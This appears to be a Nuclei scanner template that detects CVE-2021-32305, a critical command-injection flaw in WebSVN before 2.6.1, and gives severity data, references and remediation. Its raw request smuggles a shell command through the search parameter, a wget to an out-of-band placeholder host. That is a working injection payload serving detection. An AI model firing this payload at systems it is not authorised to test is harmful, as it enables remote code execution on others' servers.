id: CVE-2021-32305 info: name: Websvn <2.6.1 - Remote Code Execution author: gy741 severity: critical description: WebSVN before 2.6.1 allows remote attackers to execute arbitrary commands via shell metacharacters in the search parameter. remediation: | Upgrade Websvn to version 2.6.1 or later to mitigate this vulnerability. reference: - https://packetstormsecurity.com/files/163225/Websvn-2.6.0-Remote-Code-Execution.html - https://github.com/websvnphp/websvn/pull/142 - http://packetstormsecurity.com/files/163225/Websvn-2.6.0-Remote-Code-Execution.html - https://nvd.nist.gov/vuln/detail/CVE-2021-32305 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2021-32305 cwe-id: CWE-78 epss-score: 0.96769 epss-percentile: 0.99586 cpe: cpe:2.3:a:websvn:websvn:*:*:*:*:*:*:*:* metadata: max-request: 1 vendor: websvn product: websvn tags: cve,cve2021,websvn,rce,oast,packetstorm http: - raw: - | GET /search.php?search=%22;wget+http%3A%2F%2F{{interactsh-url}}%27;%22 HTTP/1.1 Host: {{Hostname}} Accept-Encoding: gzip, deflate Accept: */* matchers: - type: word part: interactsh_protocol # Confirms the HTTP Interaction words: - "http" # digest: 4b0a00483046022100805b5332de5210648d6ced01c5406cb8551c2d0c7f41a69bbcd3f23f10093386022100ed0719e61e9ab5d250703abf2fd2e8c5f1064ed7c65d2adeef6fe1e2182936c6:922c64590222798bb761d5b6d8e72950